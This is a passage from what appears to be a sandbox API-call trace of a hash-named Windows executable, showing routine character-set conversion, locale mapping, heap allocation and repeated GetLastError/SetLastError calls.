¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿỾ懼âĀ") returned 256 [0147.010] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿỾ懼âĀ", cchSrc=256, lpCharType=0x18f790 | out: lpCharType=0x18f790) returned 1 [0147.011] GetLastError () returned 0x0 [0147.011] SetLastError (dwErrCode=0x0) [0147.011] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0147.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fb90, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0147.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fb90, cbMultiByte=256, lpWideCharStr=0x18f4c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ幀âĀ") returned 256 [0147.011] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ幀âĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0147.011] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ幀âĀ", cchSrc=256, lpDestStr=0x18f2b8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0147.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fa90, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84 \x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84 \x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ±\x11\x99ÇÈü\x18", lpUsedDefaultChar=0x0) returned 256 [0147.011] GetLastError () returned 0x0 [0147.012] SetLastError (dwErrCode=0x0) [0147.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fb90, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0147.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fb90, cbMultiByte=256, lpWideCharStr=0x18f4e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ幀âĀ") returned 256 [0147.012] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ幀âĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0147.012] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ幀âĀ", cchSrc=256, lpDestStr=0x18f2d8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0147.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18f990, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84 \x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84 \x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84 \x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ±\x11\x99ÇÈü\x18", lpUsedDefaultChar=0x0) returned 256 [0147.013] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xe2f310, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe")) returned 0x62 [0147.013] GetLastError () returned 0x0 [0147.013] SetLastError (dwErrCode=0x0) [0147.013] GetLastError () returned 0x0 [0147.013] SetLastError (dwErrCode=0x0) [0147.013] GetLastError () returned 0x0 [0147.056] SetLastError (dwErrCode=0x0) [0147.057] GetLastError () returned 0x0 [0147.057] SetLastError (dwErrCode=0x0) [0147.057] GetLastError () returned 0x0 [0147.057] SetLastError (dwErrCode=0x0) [0147.057] GetLastError () returned 0x0 [0147.057] SetLastError (dwErrCode=0x0) [0147.057] GetLastError () returned 0x0 [0147.058] SetLastError (dwErrCode=0x0) [0147.058] GetLastError () returned 0x0 [0147.058] SetLastError (dwErrCode=0x0) [0147.058] GetLastError () returned 0x0 [0147.058] SetLastError (dwErrCode=0x0) [0147.058] GetLastError () returned 0x0 [0147.059] SetLastError (dwErrCode=0x0) [0147.059] GetLastError () returned 0x0 [0147.059] SetLastError (dwErrCode=0x0) [0147.059] GetLastError () returned 0x0 [0147.059] SetLastError (dwErrCode=0x0) [0147.059] GetLastError () returned 0x0 [0147.059] SetLastError (dwErrCode=0x0) [0147.059] GetLastError () returned 0x0 [0147.060] SetLastError (dwErrCode=0x0) [0147.060] GetLastError () returned 0x0 [0147.060] SetLastError (dwErrCode=0x0) [0147.060] GetLastError () returned 0x0 [0147.060] SetLastError (dwErrCode=0x0) [0147.065] GetLastError () returned 0x0 [0147.065] SetLastError (dwErrCode=0x0) [0147.065] GetLastError () returned 0x0 [0147.065] SetLastError (dwErrCode=0x0) [0147.065] GetLastError () returned 0x0 [0147.065] SetLastError (dwErrCode=0x0) [0147.065] GetLastError () returned 0x0 [0147.066] SetLastError (dwErrCode=0x0) [0147.066] GetLastError () returned 0x0 [0147.066] SetLastError (dwErrCode=0x0) [0147.066] GetLastError () returned 0x0 [0147.066] SetLastError (dwErrCode=0x0) [0147.066] GetLastError () returned 0x0 [0147.067] SetLastError (dwErrCode=0x0) [0147.067] GetLastError () returned 0x0 [0147.067] SetLastError (dwErrCode=0x0) [0147.067] GetLastError () returned 0x0 [0147.067] SetLastError (dwErrCode=0x0) [0147.067] GetLastError () returned 0x0 [0147.067] SetLastError (dwErrCode=0x0) [0147.067] GetLastError () returned 0x0 [0147.068] SetLastError (dwErrCode=0x0) [0147.068] GetLastError () returned 0x0 [0147.068] SetLastError (dwErrCode=0x0) [0147.068] GetLastError () returned 0x0 [0147.068] SetLastError (dwErrCode=0x0) [0147.068] GetLastError () returned 0x0 [0147.068] SetLastError (dwErrCode=0x0) [0147.068] GetLastError () returned 0x0 [0147.069] SetLastError (dwErrCode=0x0) [0147.069] GetLastError () returned 0x0 [0147.069] SetLastError (dwErrCode=0x0) [0147.069] GetLastError () returned 0x0 [0147.069] SetLastError (dwErrCode=0x0) [0147.069] GetLastError () returned 0x0 [0147.069] SetLastError (dwErrCode=0x0) [0147.069] GetLastError () returned 0x0 [0147.070] SetLastError (dwErrCode=0x0) [0147.070] GetLastError () returned 0x0 [0147.070] SetLastError (dwErrCode=0x0) [0147.070] GetLastError () returned 0x0 [0147.070] SetLastError (dwErrCode=0x0) [0147.070] GetLastError () returned 0x0 [0147.070] SetLastError (dwErrCode=0x0) [0147.070] GetLastError () returned 0x0 [0147.071] SetLastError (dwErrCode=0x0) [0147.071] GetLastError () returned 0x0 [0147.071] SetLastError (dwErrCode=0x0) [0147.071] GetLastError () returned 0x0 [0147.071] SetLastError (dwErrCode=0x0) [0147.071] GetLastError () returned 0x0 [0147.071] SetLastError (dwErrCode=0x0) [0147.072] GetLastError () returned 0x0 [0147.072] SetLastError (dwErrCode=0x0) [0147.072] GetLastError () returned 0x0 [0147.072] SetLastError (dwErrCode=0x0) [0147.072] GetLastError () returned 0x0 [0147.072] SetLastError (dwErrCode=0x0) [0147.072] GetLastError () returned 0x0 [0147.073] SetLastError (dwErrCode=0x0) [0147.073] GetLastError () returned 0x0 [0147.073] SetLastError (dwErrCode=0x0) [0147.073] GetLastError () returned 0x0 [0147.073] SetLastError (dwErrCode=0x0) [0147.073] GetLastError () returned 0x0 [0147.073] SetLastError (dwErrCode=0x0) [0147.073] GetLastError () returned 0x0 [0147.074] SetLastError (dwErrCode=0x0) [0147.074] GetLastError () returned 0x0 [0147.074] SetLastError (dwErrCode=0x0) [0147.074] GetLastError () returned 0x0 [0147.074] SetLastError (dwErrCode=0x0) [0147.074] GetLastError () returned 0x0 [0147.075] SetLastError (dwErrCode=0x0) [0147.075] GetLastError () returned 0x0 [0147.075] SetLastError (dwErrCode=0x0) [0147.075] GetLastError () returned 0x0 [0147.075] SetLastError (dwErrCode=0x0) [0147.075] GetLastError () returned 0x0 [0147.075] SetLastError (dwErrCode=0x0) [0147.075] GetLastError () returned 0x0 [0147.076] SetLastError (dwErrCode=0x0) [0147.076] GetLastError () returned 0x0 [0147.076] SetLastError (dwErrCode=0x0) [0147.077] GetLastError () returned 0x0 [0147.077] SetLastError (dwErrCode=0x0) [0147.077] GetLastError () returned 0x0 [0147.077] SetLastError (dwErrCode=0x0) [0147.077] GetLastError () returned 0x0 [0147.077] SetLastError (dwErrCode=0x0) [0147.077] GetLastError () returned 0x0 [0147.078] SetLastError (dwErrCode=0x0) [0147.078] GetLastError () returned 0x0 [0147.078] SetLastError (dwErrCode=0x0) [0147.078] GetLastError () returned 0x0 [0147.078] SetLastError (dwErrCode=0x0) [0147.078] GetLastError () returned 0x0 [0147.079] SetLastError (dwErrCode=0x0) [0147.079] GetLastError () returned 0x0 [0147.079] SetLastError (dwErrCode=0x0) [0147.079] GetLastError () returned 0x0 [0147.079] SetLastError (dwErrCode=0x0) [0147.079] GetLastError () returned 0x0 [0147.079] SetLastError (dwErrCode=0x0) [0147.080] GetLastError () returned 0x0 [0147.080] SetLastError (dwErrCode=0x0) [0147.080] GetLastError () returned 0x0 [0147.080] SetLastError (dwErrCode=0x0) [0147.080] GetLastError () returned 0x0 [0147.080] SetLastError (dwErrCode=0x0) [0147.080] GetLastError () returned 0x0 [0147.081] SetLastError (dwErrCode=0x0) [0147.081] GetLastError () returned 0x0 [0147.081] SetLastError (dwErrCode=0x0) [0147.081] GetLastError () returned 0x0 [0147.081] SetLastError (dwErrCode=0x0) [0147.081] GetLastError () returned 0x0 [0147.081] SetLastError (dwErrCode=0x0) [0147.081] GetLastError () returned 0x0 [0147.082] SetLastError (dwErrCode=0x0) [0147.082] GetLastError () returned 0x0 [0147.082] SetLastError (dwErrCode=0x0) [0147.082] GetLastError () returned 0x0 [0147.082] SetLastError (dwErrCode=0x0) [0147.082] GetLastError () returned 0x0 [0147.082] SetLastError (dwErrCode=0x0) [0147.083] GetLastError () returned 0x0 [0147.083] SetLastError (dwErrCode=0x0) [0147.083] GetLastError () returned 0x0 [0147.083] SetLastError (dwErrCode=0x0) [0147.083] GetLastError () returned 0x0 [0147.083] SetLastError (dwErrCode=0x0) [0147.083] GetLastError () returned 0x0 [0147.084] SetLastError (dwErrCode=0x0) [0147.084] GetLastError () returned 0x0 [0147.084] SetLastError (dwErrCode=0x0) [0147.084] GetLastError () returned 0x0 [0147.084] SetLastError (dwErrCode=0x0) [0147.084] GetLastError () returned 0x0 [0147.084] SetLastError (dwErrCode=0x0) [0147.084] GetLastError () returned 0x0 [0147.085] SetLastError (dwErrCode=0x0) [0147.085] GetLastError () returned 0x0 [0147.085] SetLastError (dwErrCode=0x0) [0147.085] GetLastError () returned 0x0 [0147.085] SetLastError (dwErrCode=0x0) [0147.085] GetLastError () returned 0x0 [0147.085] SetLastError (dwErrCode=0x0) [0147.086] GetLastError () returned 0x0 [0147.086] SetLastError (dwErrCode=0x0) [0147.086] GetLastError () returned 0x0 [0147.086] SetLastError (dwErrCode=0x0) [0147.086] GetLastError () returned 0x0 [0147.086] SetLastError (dwErrCode=0x0) [0147.086] GetLastError () returned 0x0 [0147.087] SetLastError (dwErrCode=0x0) [0147.087] GetLastError () returned 0x0 [0147.087] SetLastError (dwErrCode=0x0) [0147.087] GetLastError () returned 0x0 [0147.087] SetLastError (dwErrCode=0x0) [0147.087] GetLastError () returned 0x0 [0147.087] SetLastError (dwErrCode=0x0) [0147.088] GetLastError () returned 0x0 [0147.088] SetLastError (dwErrCode=0x0) [0147.088] GetLastError () returned 0x0 [0147.088] SetLastError (dwErrCode=0x0) [0147.088] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x0, Size=0x6b) returned 0xf61748 [0147.088] GetLastError () returned 0x0 [0147.088] SetLastError (dwErrCode=0x0) [0147.088] GetLastError () returned 0x0 [0147.089] SetLastError (dwErrCode=0x0) [0147.089] GetLastError () returned 0x0 [0147.089] SetLastError (dwErrCode=0x0) [0147.089] GetLastError () returned 0x0 [0147.089] SetLastError (dwErrCode=0x0) [0147.089] GetLastError () returned 0x0 [0147.089] SetLastError (dwErrCode=0x0) [0147.089] GetLastError () returned 0x0 [0147.090] SetLastError (dwErrCode=0x0) [0147.090] GetLastError () returned 0x0 [0147.090] SetLastError (dwErrCode=0x0) [0147.090] GetLastError () returned 0x0 [0147.090] SetLastError (dwErrCode=0x0) [0147.090] GetLastError () returned 0x0 [0147.090] SetLastError (dwErrCode=0x0) [0147.091] GetLastError () returned 0x0 [0147.091] SetLastError (dwErrCode=0x0) [0147.091] GetLastError () returned 0x0 [0147.091] SetLastError (dwErrCode=0x0) [0147.091] GetLastError () returned 0x0 [0147.091] SetLastError (dwErrCode=0x0) [0147.091] GetLastError () returned 0x0 [0147.092] SetLastError (dwErrCode=0x0) [0147.093] GetLastError () returned 0x0 [0147.093] SetLastError (dwErrCode=0x0) [0147.093] GetLastError () returned 0x0 [0147.093] SetLastError (dwErrCode=0x0) [0147.093] GetLastError () returned 0x0 [0147.093] SetLastError (dwErrCode=0x0) [0147.093] GetLastError () returned 0x0 [0147.093] SetLastError (dwErrCode=0x0) [0147.094] GetLastError () returned 0x0 [0147.094] SetLastError (dwErrCode=0x0) [0147.094] GetLastError () returned 0x0 [0147.094] SetLastError (dwErrCode=0x0) [0147.094] GetLastError () returned 0x0 [0147.094] SetLastError (dwErrCode=0x0) [0147.094] GetLastError () returned 0x0 [0147.095] SetLastError (dwErrCode=0x0) [0147.095] GetLastError () returned 0x0 [0147.095] SetLastError (dwErrCode=0x0) [0147.095] GetLastError () returned 0x0 [0147.095] SetLastError (dwErrCode=0x0) [0147.095] GetLastError () returned 0x0 [0147.095] SetLastError (dwErrCode=0x0) [0147.095] GetLastError () returned 0x0 [0147.095] SetLastError (dwErrCode=0x0) [0147.096] GetLastError () returned 0x0 [0147.096] SetLastError (dwErrCode=0x0) [0147.096] GetLastError () returned 0x0 [0147.096] SetLastError (dwErrCode=0x0) [0147.096] GetLastError () returned 0x0 [0147.096] SetLastError (dwErrCode=0x0) [0147.096] GetLastError () returned 0x0 [0147.097] SetLastError (dwErrCode=0x0) [0147.097] GetLastError () returned 0x0 [0147.097] SetLastError (dwErrCode=0x0) [0147.097] GetLastError () returned 0x0 [0147.097] SetLastError (dwErrCode=0x0) [0147.097] GetLastError () returned 0x0 [0147.097] SetLastError (dwErrCode=0x0) [0147.097] GetLastError () returned 0x0 [0147.098] SetLastError (dwErrCode=0x0) [0147.098] GetLastError () returned 0x0 [0147.098] SetLastError (dwErrCode=0x0) [0147.098] GetLastError () returned 0x0 [0147.098] SetLastError (dwErrCode=0x0) [0147.098] GetLastError () returned 0x0 [0147.098] SetLastError (dwErrCode=0x0) [0147.099] GetLastError () returned 0x0 [0147.099] SetLastError (dwErrCode=0x0) [0147.099] GetLastError () returned 0x0 [0147.099] SetLastError (dwErrCode=0x0) [0147.099] GetLastError () returned 0x0 [0147.099] SetLastError (dwErrCode=0x0) [0147.099] GetLastError () returned 0x0 [0147.100] SetLastError (dwErrCode=0x0) [0147.100] GetLastError () returned 0x0 [0147.100] SetLastError (dwErrCode=0x0) [0147.100] GetLastError () returned 0x0 [0147.100] SetLastError (dwErrCode=0x0) [0147.100] GetLastError () returned 0x0 [0147.100] SetLastError (dwErrCode=0x0) [0147.101] GetLastError () returned 0x0 [0147.101] SetLastError (dwErrCode=0x0) [0147.101] GetLastError () returned 0x0 [0147.101] SetLastError (dwErrCode=0x0) [0147.101] GetLastError () returned 0x0 [0147.101] SetLastError (dwErrCode=0x0) [0147.101] GetLastError () returned 0x0 [0147.102] SetLastError (dwErrCode=0x0) [0147.102] GetLastError () returned 0x0 [0147.102] SetLastError (dwErrCode=0x0) [0147.102] GetLastError () returned 0x0 [0147.102] SetLastError (dwErrCode=0x0) [0147.102] GetLastError () returned 0x0 [0147.102] SetLastError (dwErrCode=0x0) [0147.103] GetLastError () returned 0x0 [0147.103] SetLastError (dwErrCode=0x0) [0147.103] GetLastError () returned 0x0 [0147.103] SetLastError (dwErrCode=0x0) [0147.103] GetLastError () returned 0x0 [0147.103] SetLastError (dwErrCode=0x0) [0147.103] GetLastError () returned 0x0 [0147.103] SetLastError (dwErrCode=0x0) [0147.103] GetLastError () returned 0x0 [0147.104] SetLastError (dwErrCode=0x0) [0147.104] GetLastError () returned 0x0 [0147.104] SetLastError (dwErrCode=0x0) [0147.104] GetLastError () returned 0x0 [0147.104] SetLastError (dwErrCode=0x0) [0147.104] GetLastError () returned 0x0 [0147.104] SetLastError (dwErrCode=0x0) [0147.105] GetLastError () returned 0x0 